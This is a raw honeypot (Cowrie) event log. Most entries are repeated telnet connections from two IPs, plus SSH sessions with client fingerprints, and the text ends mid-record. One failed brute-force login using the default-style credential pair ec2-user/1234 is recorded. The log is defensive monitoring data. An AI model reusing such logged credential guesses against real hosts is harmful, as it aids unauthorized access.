{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":55098,"dst_ip":"10.17.0.5","dst_port":23,"session":"7005c23b4edb","protocol":"telnet","message":"New connection: 124.217.230.40:55098 (10.17.0.5:23) [session: 7005c23b4edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:06.825183Z"}
{"eventid":"cowrie.session.closed","duration":30.735318183898926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:07.236608Z","src_ip":"149.210.189.202","session":"b54ca5c7205d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":55880,"dst_ip":"10.17.0.5","dst_port":23,"session":"44198ea72daa","protocol":"telnet","message":"New connection: 124.217.230.40:55880 (10.17.0.5:23) [session: 44198ea72daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:07.600801Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":55914,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4c652159705","protocol":"telnet","message":"New connection: 124.217.230.40:55914 (10.17.0.5:23) [session: f4c652159705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:07.641270Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":56432,"dst_ip":"10.17.0.5","dst_port":23,"session":"151f67d4d758","protocol":"telnet","message":"New connection: 124.217.230.40:56432 (10.17.0.5:23) [session: 151f67d4d758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:07.870403Z"}
{"eventid":"cowrie.session.closed","duration":31.448128938674927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:08.338169Z","src_ip":"124.217.230.40","session":"1671dc08dad4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.925026655197144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:08.435619Z","src_ip":"124.217.230.40","session":"118ecf655357","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":57750,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2e6a1b64f4a","protocol":"telnet","message":"New connection: 124.217.230.40:57750 (10.17.0.5:23) [session: a2e6a1b64f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:08.819324Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":57842,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f4f4a9e7fd3","protocol":"telnet","message":"New connection: 124.217.230.40:57842 (10.17.0.5:23) [session: 6f4f4a9e7fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:08.882619Z"}
{"eventid":"cowrie.session.closed","duration":30.48393678665161,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:09.057455Z","src_ip":"149.210.189.202","session":"069448779071","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":50588,"dst_ip":"10.17.0.5","dst_port":23,"session":"0454dfa644e0","protocol":"telnet","message":"New connection: 149.210.189.202:50588 (10.17.0.5:23) [session: 0454dfa644e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:09.993875Z"}
{"eventid":"cowrie.session.closed","duration":30.53215765953064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:10.039035Z","src_ip":"149.210.189.202","session":"1678a1d9d6d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":51322,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a287a01a666","protocol":"telnet","message":"New connection: 149.210.189.202:51322 (10.17.0.5:23) [session: 9a287a01a666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:10.956224Z"}
{"eventid":"cowrie.session.closed","duration":30.600340366363525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:11.403392Z","src_ip":"124.217.230.40","session":"c070d9929b73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":59580,"dst_ip":"10.17.0.5","dst_port":23,"session":"216be76bcd2a","protocol":"telnet","message":"New connection: 124.217.230.40:59580 (10.17.0.5:23) [session: 216be76bcd2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:11.502340Z"}
{"eventid":"cowrie.session.closed","duration":31.118499517440796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:11.966565Z","src_ip":"124.217.230.40","session":"32fe59d89f50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.510599374771118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:12.298692Z","src_ip":"149.210.189.202","session":"d24078404146","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.653287172317505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:12.353940Z","src_ip":"124.217.230.40","session":"8f9fc6143ca8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":52788,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b08d1f07f8f","protocol":"telnet","message":"New connection: 149.210.189.202:52788 (10.17.0.5:23) [session: 4b08d1f07f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:12.934834Z"}
{"eventid":"cowrie.session.closed","duration":30.847029209136963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:13.160124Z","src_ip":"149.210.189.202","session":"790994c2cc30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.751163721084595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:14.050063Z","src_ip":"149.210.189.202","session":"1384b4497d7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.532161474227905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:14.364673Z","src_ip":"124.217.230.40","session":"e9069aeeeda4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86404013633728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:15.465227Z","src_ip":"124.217.230.40","session":"788e31eb0675","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":37614,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e452cd36abc","protocol":"telnet","message":"New connection: 124.217.230.40:37614 (10.17.0.5:23) [session: 6e452cd36abc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:15.780305Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":37854,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a0e4b84ad9d","protocol":"telnet","message":"New connection: 124.217.230.40:37854 (10.17.0.5:23) [session: 3a0e4b84ad9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:15.889749Z"}
{"eventid":"cowrie.session.closed","duration":30.808025360107422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:16.131723Z","src_ip":"149.210.189.202","session":"1110f1eff12d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82063865661621,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:17.405507Z","src_ip":"124.217.230.40","session":"62a36fe8e285","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":56776,"dst_ip":"10.17.0.5","dst_port":23,"session":"13e5894ef7f4","protocol":"telnet","message":"New connection: 149.210.189.202:56776 (10.17.0.5:23) [session: 13e5894ef7f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:17.537367Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":57610,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e47cc70ba9e","protocol":"telnet","message":"New connection: 149.210.189.202:57610 (10.17.0.5:23) [session: 6e47cc70ba9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:18.808891Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":57976,"dst_ip":"10.17.0.5","dst_port":23,"session":"90db293cc5d4","protocol":"telnet","message":"New connection: 149.210.189.202:57976 (10.17.0.5:23) [session: 90db293cc5d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:19.213597Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":57996,"dst_ip":"10.17.0.5","dst_port":23,"session":"0737d44d29df","protocol":"telnet","message":"New connection: 149.210.189.202:57996 (10.17.0.5:23) [session: 0737d44d29df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:19.262168Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":58500,"dst_ip":"10.17.0.5","dst_port":23,"session":"916a562e2ab5","protocol":"telnet","message":"New connection: 149.210.189.202:58500 (10.17.0.5:23) [session: 916a562e2ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:19.882038Z"}
{"eventid":"cowrie.session.closed","duration":31.211130380630493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:20.389756Z","src_ip":"124.217.230.40","session":"0c5f5a643a72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46604037284851,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:20.419534Z","src_ip":"124.217.230.40","session":"2df65e0b203f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60669255256653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:20.425833Z","src_ip":"124.217.230.40","session":"09001245f0b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":43260,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cda93f832fc","protocol":"telnet","message":"New connection: 124.217.230.40:43260 (10.17.0.5:23) [session: 3cda93f832fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:20.761778Z"}
{"eventid":"cowrie.session.closed","duration":30.70202875137329,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:21.311001Z","src_ip":"124.217.230.40","session":"b2e14f781a63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.884443998336792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:21.487686Z","src_ip":"124.217.230.40","session":"a1845b405859","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.705897331237793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:22.313519Z","src_ip":"124.217.230.40","session":"7679e1327f9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":45180,"dst_ip":"10.17.0.5","dst_port":23,"session":"532bb0ec5fb3","protocol":"telnet","message":"New connection: 124.217.230.40:45180 (10.17.0.5:23) [session: 532bb0ec5fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:23.186045Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":32940,"dst_ip":"10.17.0.5","dst_port":23,"session":"0be7ddc6700b","protocol":"telnet","message":"New connection: 149.210.189.202:32940 (10.17.0.5:23) [session: 0be7ddc6700b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:23.524855Z"}
{"eventid":"cowrie.session.closed","duration":31.412287950515747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:24.008343Z","src_ip":"149.210.189.202","session":"e6ab0846de3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60231351852417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:24.079238Z","src_ip":"149.210.189.202","session":"7c89a508d10e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86119842529297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:24.090722Z","src_ip":"149.210.189.202","session":"e55fe7ddfb98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33248472213745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:26.872680Z","src_ip":"149.210.189.202","session":"e0b30a8ef5af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.308577299118042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:27.091238Z","src_ip":"149.210.189.202","session":"e0168d4b2e53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":50454,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ad7ae7d35e6","protocol":"telnet","message":"New connection: 124.217.230.40:50454 (10.17.0.5:23) [session: 7ad7ae7d35e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:27.810942Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":51546,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b4992ce58fe","protocol":"telnet","message":"New connection: 124.217.230.40:51546 (10.17.0.5:23) [session: 1b4992ce58fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:28.756413Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":51766,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf5c7414d503","protocol":"telnet","message":"New connection: 124.217.230.40:51766 (10.17.0.5:23) [session: bf5c7414d503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:28.900314Z"}
{"eventid":"cowrie.session.closed","duration":30.176192045211792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:29.120680Z","src_ip":"149.210.189.202","session":"98838e8c1c51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":37826,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cdeaa1298d5","protocol":"telnet","message":"New connection: 149.210.189.202:37826 (10.17.0.5:23) [session: 7cdeaa1298d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:29.343589Z"}
{"eventid":"cowrie.session.closed","duration":30.911606788635254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:30.206323Z","src_ip":"149.210.189.202","session":"7babf3635363","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76907968521118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:30.506326Z","src_ip":"124.217.230.40","session":"f949c50a8534","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":39342,"dst_ip":"10.17.0.5","dst_port":23,"session":"56efd98b807c","protocol":"telnet","message":"New connection: 149.210.189.202:39342 (10.17.0.5:23) [session: 56efd98b807c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:31.512302Z"}
{"eventid":"cowrie.session.closed","duration":31.646323442459106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:31.895328Z","src_ip":"124.217.230.40","session":"1a95e3e111a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58887529373169,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:33.108343Z","src_ip":"149.210.189.202","session":"5534e851c512","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.851836442947388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:34.093176Z","src_ip":"149.210.189.202","session":"51ed95a1d630","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26927947998047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:36.156208Z","src_ip":"124.217.230.40","session":"6d9c3138bad5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29717493057251,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:36.343612Z","src_ip":"124.217.230.40","session":"4a5d79c209be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":52878,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf78e91f22f6","protocol":"ssh","message":"New connection: 198.98.55.71:52878 (10.17.0.5:22) [session: cf78e91f22f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:36.645297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:36.650645Z","src_ip":"198.98.55.71","session":"cf78e91f22f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:36.660906Z","src_ip":"198.98.55.71","session":"cf78e91f22f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"1234","message":"login attempt [ec2-user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:36.714914Z","src_ip":"198.98.55.71","session":"cf78e91f22f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.53565764427185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:37.360723Z","src_ip":"124.217.230.40","session":"7005c23b4edb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:37.723026Z","src_ip":"198.98.55.71","session":"cf78e91f22f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.630502223968506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:38.271671Z","src_ip":"124.217.230.40","session":"f4c652159705","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52916383743286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:38.399441Z","src_ip":"124.217.230.40","session":"151f67d4d758","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":33672,"dst_ip":"10.17.0.5","dst_port":23,"session":"469ef6a76b63","protocol":"telnet","message":"New connection: 124.217.230.40:33672 (10.17.0.5:23) [session: 469ef6a76b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:38.602364Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":33750,"dst_ip":"10.17.0.5","dst_port":23,"session":"376ed62a3f47","protocol":"telnet","message":"New connection: 124.217.230.40:33750 (10.17.0.5:23) [session: 376ed62a3f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:38.633138Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":45046,"dst_ip":"10.17.0.5","dst_port":23,"session":"523f0510eac4","protocol":"telnet","message":"New connection: 149.210.189.202:45046 (10.17.0.5:23) [session: 523f0510eac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:38.831713Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48934,"dst_ip":"159.203.135.109","dst_port":22,"session":"63465487f153","protocol":"ssh","message":"New connection: 159.203.92.129:48934 (159.203.135.109:22) [session: 63465487f153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:38.845898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:38.850950Z","src_ip":"159.203.92.129","session":"63465487f153","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-